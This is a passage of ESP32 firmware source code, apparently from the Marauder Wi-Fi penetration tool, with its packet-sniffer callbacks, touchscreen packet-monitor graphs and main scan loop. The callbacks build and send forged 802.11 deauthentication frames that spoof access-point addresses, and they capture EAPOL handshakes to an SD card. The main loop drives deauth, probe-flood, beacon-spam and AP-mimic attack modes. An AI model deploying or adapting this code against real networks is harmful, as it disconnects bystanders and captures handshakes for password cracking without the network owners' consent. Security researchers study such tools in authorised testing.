  1999. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2000. int len = snifferPacket->rx_ctrl.sig_len;
  2001. String display_string = "";
  2002. if (type == WIFI_PKT_MGMT)
  2003. {
  2004. len -= 4;
  2005. int fctl = ntohs(frameControl->fctl);
  2006. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2007. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2008. }
  2009. #ifdef HAS_SCREEN
  2010. int buff = display_obj.display_buffer->size();
  2011. #else
  2012. int buff = 0;
  2013. #endif
  2014. // Found beacon frame. Decide whether to deauth
  2015. if (send_deauth) {
  2016. if (snifferPacket->payload[0] == 0x80) {
  2017. // Build packet
  2018. uint8_t new_packet[26] = {
  2019. 0xc0, 0x00, 0x3a, 0x01,
  2020. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2021. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2022. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2023. 0xf0, 0xff, 0x02, 0x00
  2024. };
  2025. new_packet[10] = snifferPacket->payload[10];
  2026. new_packet[11] = snifferPacket->payload[11];
  2027. new_packet[12] = snifferPacket->payload[12];
  2028. new_packet[13] = snifferPacket->payload[13];
  2029. new_packet[14] = snifferPacket->payload[14];
  2030. new_packet[15] = snifferPacket->payload[15];
  2031. new_packet[16] = snifferPacket->payload[10];
  2032. new_packet[17] = snifferPacket->payload[11];
  2033. new_packet[18] = snifferPacket->payload[12];
  2034. new_packet[19] = snifferPacket->payload[13];
  2035. new_packet[20] = snifferPacket->payload[14];
  2036. new_packet[21] = snifferPacket->payload[15];
  2037. // Send packet
  2038. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2039. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2040. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2041. delay(1);
  2042. }
  2043. }
  2044. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2045. num_eapol++;
  2046. Serial.println("Received EAPOL:");
  2047. char addr[] = "00:00:00:00:00:00";
  2048. getMAC(addr, snifferPacket->payload, 10);
  2049. display_string.concat(addr);
  2050. int temp_len = display_string.length();
  2051. #ifdef HAS_SCREEN
  2052. for (int i = 0; i < 40 - temp_len; i++)
  2053. {
  2054. display_string.concat(" ");
  2055. }
  2056. Serial.print(" ");
  2057. #ifdef MARAUDER_MINI
  2058. if (display_obj.display_buffer->size() == 0)
  2059. {
  2060. display_obj.loading = true;
  2061. display_obj.display_buffer->add(display_string);
  2062. display_obj.loading = false;
  2063. }
  2064. #endif
  2065. #endif
  2066. // for (int i = 0; i < len; i++) {
  2067. // char hexCar[4];
  2068. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2069. // Serial.print(hexCar);
  2070. //Serial.print(snifferPacket->payload[i], HEX);
  2071. // if ((i + 1) % 16 == 0)
  2072. // Serial.print("\n");
  2073. // else
  2074. // Serial.print(" ");
  2075. // }
  2076. // Serial.print("\n");
  2077. }
  2078. if (save_packet)
  2079. sd_obj.addPacket(snifferPacket->payload, len);
  2080. }
  2081. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2082. {
  2083. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2084. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2085. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2086. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2087. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2088. int len = snifferPacket->rx_ctrl.sig_len;
  2089. if (type == WIFI_PKT_MGMT)
  2090. {
  2091. len -= 4;
  2092. int fctl = ntohs(frameControl->fctl);
  2093. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2094. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2095. }
  2096. // Found beacon frame. Decide whether to deauth
  2097. if (snifferPacket->payload[0] == 0x80) {
  2098. // Build packet
  2099. //Serial.println("Recieved beacon frame");
  2100. uint8_t new_packet[26] = {
  2101. 0xc0, 0x00, 0x3a, 0x01,
  2102. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2103. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2104. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2105. 0xf0, 0xff, 0x02, 0x00
  2106. };
  2107. new_packet[10] = snifferPacket->payload[10];
  2108. new_packet[11] = snifferPacket->payload[11];
  2109. new_packet[12] = snifferPacket->payload[12];
  2110. new_packet[13] = snifferPacket->payload[13];
  2111. new_packet[14] = snifferPacket->payload[14];
  2112. new_packet[15] = snifferPacket->payload[15];
  2113. new_packet[16] = snifferPacket->payload[10];
  2114. new_packet[17] = snifferPacket->payload[11];
  2115. new_packet[18] = snifferPacket->payload[12];
  2116. new_packet[19] = snifferPacket->payload[13];
  2117. new_packet[20] = snifferPacket->payload[14];
  2118. new_packet[21] = snifferPacket->payload[15];
  2119. // Send packet
  2120. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2121. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2122. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2123. delay(1);
  2124. }
  2125. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2126. num_eapol++;
  2127. Serial.println("Received EAPOL:");
  2128. // for (int i = 0; i < len; i++) {
  2129. // char hexCar[3];
  2130. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2131. // Serial.print(hexCar);
  2132. //Serial.print(snifferPacket->payload[i], HEX);
  2133. // if ((i + 1) % 16 == 0)
  2134. // Serial.print("\n");
  2135. // else
  2136. // Serial.print(" ");
  2137. // }
  2138. // Serial.print("\n");
  2139. }
  2140. if (save_packet)
  2141. sd_obj.addPacket(snifferPacket->payload, len);
  2142. }
  2143. #ifdef HAS_SCREEN
  2144. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2145. {
  2146. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2147. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2148. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2149. {
  2150. currentTime = millis();
  2151. do_break = false;
  2152. y_pos_x = 0;
  2153. y_pos_y = 0;
  2154. y_pos_z = 0;
  2155. boolean pressed = false;
  2156. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2157. // Do the touch stuff
  2158. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2159. if (pressed) {
  2160. Serial.print("Got touch | X: ");
  2161. Serial.print(t_x);
  2162. Serial.print(" Y: ");
  2163. Serial.println(t_y);
  2164. }
  2165. // Check buttons for presses
  2166. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2167. {
  2168. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2169. {
  2170. display_obj.key[b].press(true);
  2171. } else {
  2172. display_obj.key[b].press(false);
  2173. }
  2174. }
  2175. // Which buttons pressed
  2176. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2177. {
  2178. if (display_obj.key[b].justPressed())
  2179. {
  2180. Serial.println("Bro, key pressed");
  2181. //do_break = true;
  2182. }
  2183. if (display_obj.key[b].justReleased())
  2184. {
  2185. do_break = true;
  2186. // Channel - button pressed
  2187. if (b == 4) {
  2188. if (set_channel > 1) {
  2189. Serial.println("Shit channel down");
  2190. set_channel--;
  2191. delay(70);
  2192. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2193. //display_obj.tftDrawXScaleButtons(x_scale);
  2194. //display_obj.tftDrawYScaleButtons(y_scale);
  2195. display_obj.tftDrawChannelScaleButtons(set_channel);
  2196. display_obj.tftDrawExitScaleButtons();
  2197. changeChannel();
  2198. break;
  2199. }
  2200. }
  2201. // Channel + button pressed
  2202. else if (b == 5) {
  2203. if (set_channel < MAX_CHANNEL) {
  2204. Serial.println("Shit channel up");
  2205. set_channel++;
  2206. delay(70);
  2207. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2208. //display_obj.tftDrawXScaleButtons(x_scale);
  2209. //display_obj.tftDrawYScaleButtons(y_scale);
  2210. display_obj.tftDrawChannelScaleButtons(set_channel);
  2211. display_obj.tftDrawExitScaleButtons();
  2212. changeChannel();
  2213. break;
  2214. }
  2215. }
  2216. else if (b == 6) {
  2217. Serial.println("Exiting packet monitor...");
  2218. this->StartScan(WIFI_SCAN_OFF);
  2219. //display_obj.tft.init();
  2220. this->orient_display = true;
  2221. return;
  2222. }
  2223. }
  2224. }
  2225. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2226. //Serial.println("-----------------------------------------");
  2227. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2228. x_pos += x_scale;
  2229. initTime = millis();
  2230. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2231. if (y_pos_x >= HEIGHT_1) {
  2232. Serial.println("Max EAPOL number reached. Adjusting...");
  2233. num_eapol = 0;
  2234. }
  2235. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2236. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2237. //Serial.println("num_beacon: " + (String)num_beacon);
  2238. //Serial.println("num_deauth: " + (String)num_deauth);
  2239. //Serial.println(" num_probe: " + (String)num_probe);
  2240. //num_beacon = 0;
  2241. //num_probe = 0;
  2242. //num_deauth = 0;
  2243. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2244. //Plot "X" value
  2245. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2246. //Plot "Z" value
  2247. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2248. //Plot "Y" value
  2249. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2250. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2251. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2252. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2253. {
  2254. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2255. }
  2256. else
  2257. {
  2258. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2259. }
  2260. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2261. //if (x_pos <= 90)
  2262. if (x_pos < 0) // below x axis
  2263. {
  2264. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2265. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2266. }
  2267. else
  2268. {
  2269. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2270. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2271. }
  2272. //tftDisplayTime();
  2273. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2274. {
  2275. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2276. }
  2277. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2278. //y_pos_y_old = y_pos_y;
  2279. //y_pos_z_old = y_pos_z;
  2280. //delay(50);
  2281. }
  2282. sd_obj.main();
  2283. }
  2284. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2285. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2286. display_obj.tftDrawChannelScaleButtons(set_channel);
  2287. display_obj.tftDrawExitScaleButtons();
  2288. display_obj.tftDrawEapolColorKey();
  2289. display_obj.tftDrawGraphObjects(x_scale);
  2290. }
  2291. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2292. {
  2293. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2294. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2295. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2296. {
  2297. currentTime = millis();
  2298. do_break = false;
  2299. y_pos_x = 0;
  2300. y_pos_y = 0;
  2301. y_pos_z = 0;
  2302. boolean pressed = false;
  2303. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2304. // Do the touch stuff
  2305. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2306. if (pressed) {
  2307. Serial.print("Got touch | X: ");
  2308. Serial.print(t_x);
  2309. Serial.print(" Y: ");
  2310. Serial.println(t_y);
  2311. }
  2312. // Check buttons for presses
  2313. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2314. {
  2315. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2316. {
  2317. display_obj.key[b].press(true);
  2318. } else {
  2319. display_obj.key[b].press(false);
  2320. }
  2321. }
  2322. // Which buttons pressed
  2323. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2324. {
  2325. if (display_obj.key[b].justPressed())
  2326. {
  2327. Serial.println("Bro, key pressed");
  2328. //do_break = true;
  2329. }
  2330. if (display_obj.key[b].justReleased())
  2331. {
  2332. do_break = true;
  2333. // X - button pressed
  2334. if (b == 0) {
  2335. if (x_scale > 1) {
  2336. x_scale--;
  2337. delay(70);
  2338. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2339. display_obj.tftDrawXScaleButtons(x_scale);
  2340. display_obj.tftDrawYScaleButtons(y_scale);
  2341. display_obj.tftDrawChannelScaleButtons(set_channel);
  2342. display_obj.tftDrawExitScaleButtons();
  2343. break;
  2344. }
  2345. }
  2346. // X + button pressed
  2347. else if (b == 1) {
  2348. if (x_scale < 6) {
  2349. x_scale++;
  2350. delay(70);
  2351. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2352. display_obj.tftDrawXScaleButtons(x_scale);
  2353. display_obj.tftDrawYScaleButtons(y_scale);
  2354. display_obj.tftDrawChannelScaleButtons(set_channel);
  2355. display_obj.tftDrawExitScaleButtons();
  2356. break;
  2357. }
  2358. }
  2359. // Y - button pressed
  2360. else if (b == 2) {
  2361. if (y_scale > 1) {
  2362. y_scale--;
  2363. delay(70);
  2364. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2365. display_obj.tftDrawXScaleButtons(x_scale);
  2366. display_obj.tftDrawYScaleButtons(y_scale);
  2367. display_obj.tftDrawChannelScaleButtons(set_channel);
  2368. display_obj.tftDrawExitScaleButtons();
  2369. //updateMidway();
  2370. break;
  2371. }
  2372. }
  2373. // Y + button pressed
  2374. else if (b == 3) {
  2375. if (y_scale < 9) {
  2376. y_scale++;
  2377. delay(70);
  2378. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2379. display_obj.tftDrawXScaleButtons(x_scale);
  2380. display_obj.tftDrawYScaleButtons(y_scale);
  2381. display_obj.tftDrawChannelScaleButtons(set_channel);
  2382. display_obj.tftDrawExitScaleButtons();
  2383. //updateMidway();
  2384. break;
  2385. }
  2386. }
  2387. // Channel - button pressed
  2388. else if (b == 4) {
  2389. if (set_channel > 1) {
  2390. Serial.println("Shit channel down");
  2391. set_channel--;
  2392. delay(70);
  2393. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2394. display_obj.tftDrawXScaleButtons(x_scale);
  2395. display_obj.tftDrawYScaleButtons(y_scale);
  2396. display_obj.tftDrawChannelScaleButtons(set_channel);
  2397. display_obj.tftDrawExitScaleButtons();
  2398. changeChannel();
  2399. break;
  2400. }
  2401. }
  2402. // Channel + button pressed
  2403. else if (b == 5) {
  2404. if (set_channel < MAX_CHANNEL) {
  2405. Serial.println("Shit channel up");
  2406. set_channel++;
  2407. delay(70);
  2408. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2409. display_obj.tftDrawXScaleButtons(x_scale);
  2410. display_obj.tftDrawYScaleButtons(y_scale);
  2411. display_obj.tftDrawChannelScaleButtons(set_channel);
  2412. display_obj.tftDrawExitScaleButtons();
  2413. changeChannel();
  2414. break;
  2415. }
  2416. }
  2417. else if (b == 6) {
  2418. Serial.println("Exiting packet monitor...");
  2419. this->StartScan(WIFI_SCAN_OFF);
  2420. //display_obj.tft.init();
  2421. this->orient_display = true;
  2422. return;
  2423. }
  2424. }
  2425. }
  2426. if (currentTime - initTime >= GRAPH_REFRESH) {
  2427. //Serial.println("-----------------------------------------");
  2428. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2429. x_pos += x_scale;
  2430. initTime = millis();
  2431. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2432. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2433. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2434. //Serial.println("num_beacon: " + (String)num_beacon);
  2435. //Serial.println("num_deauth: " + (String)num_deauth);
  2436. //Serial.println(" num_probe: " + (String)num_probe);
  2437. num_beacon = 0;
  2438. num_probe = 0;
  2439. num_deauth = 0;
  2440. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2441. //Plot "X" value
  2442. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2443. //Plot "Z" value
  2444. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2445. //Plot "Y" value
  2446. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2447. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2448. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2449. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2450. {
  2451. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2452. }
  2453. else
  2454. {
  2455. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2456. }
  2457. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2458. //if (x_pos <= 90)
  2459. if (x_pos < 0) // below x axis
  2460. {
  2461. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2462. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2463. }
  2464. else
  2465. {
  2466. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2467. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2468. }
  2469. //tftDisplayTime();
  2470. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2471. {
  2472. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2473. }
  2474. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2475. y_pos_y_old = y_pos_y;
  2476. y_pos_z_old = y_pos_z;
  2477. //delay(50);
  2478. }
  2479. sd_obj.main();
  2480. }
  2481. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2482. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2483. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2484. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2485. display_obj.tftDrawYScaleButtons(y_scale);
  2486. display_obj.tftDrawChannelScaleButtons(set_channel);
  2487. display_obj.tftDrawExitScaleButtons();
  2488. display_obj.tftDrawColorKey();
  2489. display_obj.tftDrawGraphObjects(x_scale);
  2490. }
  2491. #endif
  2492. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2493. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2494. // showMetadata(snifferPacket, type);
  2495. //}
  2496. void WiFiScan::changeChannel(int chan) {
  2497. this->set_channel = chan;
  2498. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2499. delay(1);
  2500. }
  2501. void WiFiScan::changeChannel()
  2502. {
  2503. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2504. delay(1);
  2505. }
  2506. // Function to cycle to the next channel
  2507. void WiFiScan::channelHop()
  2508. {
  2509. this->set_channel = this->set_channel + 1;
  2510. if (this->set_channel > 13) {
  2511. this->set_channel = 1;
  2512. }
  2513. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2514. delay(1);
  2515. }
  2516. char* WiFiScan::stringToChar(String string) {
  2517. char buf[string.length() + 1] = {};
  2518. string.toCharArray(buf, string.length() + 1);
  2519. return buf;
  2520. }
  2521. // Function for updating scan status
  2522. void WiFiScan::main(uint32_t currentTime)
  2523. {
  2524. // WiFi operations
  2525. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2526. (currentScanMode == WIFI_SCAN_AP) ||
  2527. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2528. (currentScanMode == WIFI_SCAN_PWN) ||
  2529. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2530. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2531. (currentScanMode == WIFI_SCAN_ALL))
  2532. {
  2533. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2534. {
  2535. initTime = millis();
  2536. channelHop();
  2537. }
  2538. }
  2539. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2540. {
  2541. #ifdef HAS_SCREEN
  2542. #ifndef MARAUDER_MINI
  2543. packetMonitorMain(currentTime);
  2544. #endif
  2545. #endif
  2546. }
  2547. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2548. {
  2549. #ifdef HAS_SCREEN
  2550. #ifndef MARAUDER_MINI
  2551. eapolMonitorMain(currentTime);
  2552. #endif
  2553. #endif
  2554. }
  2555. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2556. {
  2557. #ifdef HAS_SCREEN
  2558. eapolMonitorMain(currentTime);
  2559. #endif
  2560. }
  2561. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2562. for (int i = 0; i < 55; i++)
  2563. this->sendProbeAttack(currentTime);
  2564. if (currentTime - initTime >= 1000) {
  2565. initTime = millis();
  2566. String displayString = "";
  2567. String displayString2 = "";
  2568. displayString.concat(text18);
  2569. displayString.concat(packets_sent);
  2570. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2571. displayString2.concat(" ");
  2572. #ifdef HAS_SCREEN
  2573. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2574. display_obj.showCenterText(displayString2, 160);
  2575. display_obj.showCenterText(displayString, 160);
  2576. #endif
  2577. packets_sent = 0;
  2578. }
  2579. }
  2580. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2581. for (int i = 0; i < 55; i++)
  2582. this->sendDeauthAttack(currentTime);
  2583. if (currentTime - initTime >= 1000) {
  2584. initTime = millis();
  2585. String displayString = "";
  2586. String displayString2 = "";
  2587. displayString.concat(text18);
  2588. displayString.concat(packets_sent);
  2589. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2590. displayString2.concat(" ");
  2591. #ifdef HAS_SCREEN
  2592. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2593. display_obj.showCenterText(displayString2, 160);
  2594. display_obj.showCenterText(displayString, 160);
  2595. #endif
  2596. packets_sent = 0;
  2597. }
  2598. }
  2599. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2600. // Need this for loop because getTouch causes ~10ms delay
  2601. // which makes beacon spam less effective
  2602. for (int i = 0; i < access_points->size(); i++) {
  2603. if (access_points->get(i).selected)
  2604. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2605. random(256),
  2606. random(256),
  2607. random(256),
  2608. random(256),
  2609. random(256)}});
  2610. }
  2611. if (currentTime - initTime >= 1000)
  2612. {
  2613. initTime = millis();
  2614. //Serial.print("packets/sec: ");
  2615. //Serial.println(packets_sent);
  2616. String displayString = "";
  2617. String displayString2 = "";
  2618. displayString.concat(text18);
  2619. displayString.concat(packets_sent);
  2620. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2621. displayString2.concat(" ");
  2622. #ifdef HAS_SCREEN
  2623. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2624. display_obj.showCenterText(displayString2, 160);
  2625. display_obj.showCenterText(displayString, 160);
  2626. #endif
  2627. packets_sent = 0;
  2628. }
  2629. }
  2630. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2631. {
  2632. // Need this for loop because getTouch causes ~10ms delay
  2633. // which makes beacon spam less effective
  2634. for (int i = 0; i < 55; i++)
  2635. broadcastRandomSSID(currentTime);
  2636. if (currentTime - initTime >= 1000)
  2637. {
  2638. initTime = millis();
  2639. //Serial.print("packets/sec: ");
  2640. //Serial.println(packets_sent);
  2641. String displayString = "";
  2642. String displayString2 = "";
  2643. displayString.concat(text18);
  2644. displayString.concat(packets_sent);
  2645. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2646. displayString2.concat(" ");
  2647. #ifdef HAS_SCREEN
  2648. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2649. display_obj.showCenterText(displayString2, 160);
  2650. display_obj.showCenterText(displayString, 160);
  2651. #endif
  2652. packets_sent = 0;
  2653. }
  2654. }
  2655. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2656. for (int i = 0; i < ssids->size(); i++)
  2657. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2658. if (currentTime - initTime >= 1000)
  2659. {
  2660. initTime = millis();
  2661. packets_sent = 0;
  2662. }
  2663. }
  2664. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2665. for (int i = 0; i < access_points->size(); i++) {
  2666. if (access_points->get(i).selected)
  2667. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2668. }
  2669. if (currentTime - initTime >= 1000) {
  2670. initTime = millis();
  2671. packets_sent = 0;
  2672. }
  2673. }
  2674. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2675. {
  2676. // Need this for loop because getTouch causes ~10ms delay
  2677. // which makes beacon spam less effective
  2678. for (int i = 0; i < 7; i++)
  2679. {
  2680. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2681. {
  2682. broadcastSetSSID(currentTime, rick_roll[x]);
  2683. }
  2684. }
  2685. if (currentTime - initTime >= 1000)
  2686. {
  2687. initTime = millis();
  2688. //Serial.print("packets/sec: ");
  2689. //Serial.println(packets_sent);
  2690. String displayString = "";
  2691. String displayString2 = "";
  2692. displayString.concat(text18);
  2693. displayString.concat(packets_sent);
  2694. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2695. displayString2.concat(" ");
  2696. #ifdef HAS_SCREEN
  2697. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2698. display_obj.showCenterText(displayString2, 160);
  2699. display_obj.showCenterText(displayString, 160);
  2700. #endif
  2701. packets_sent = 0;
  2702. }
  2703. }
  2704. }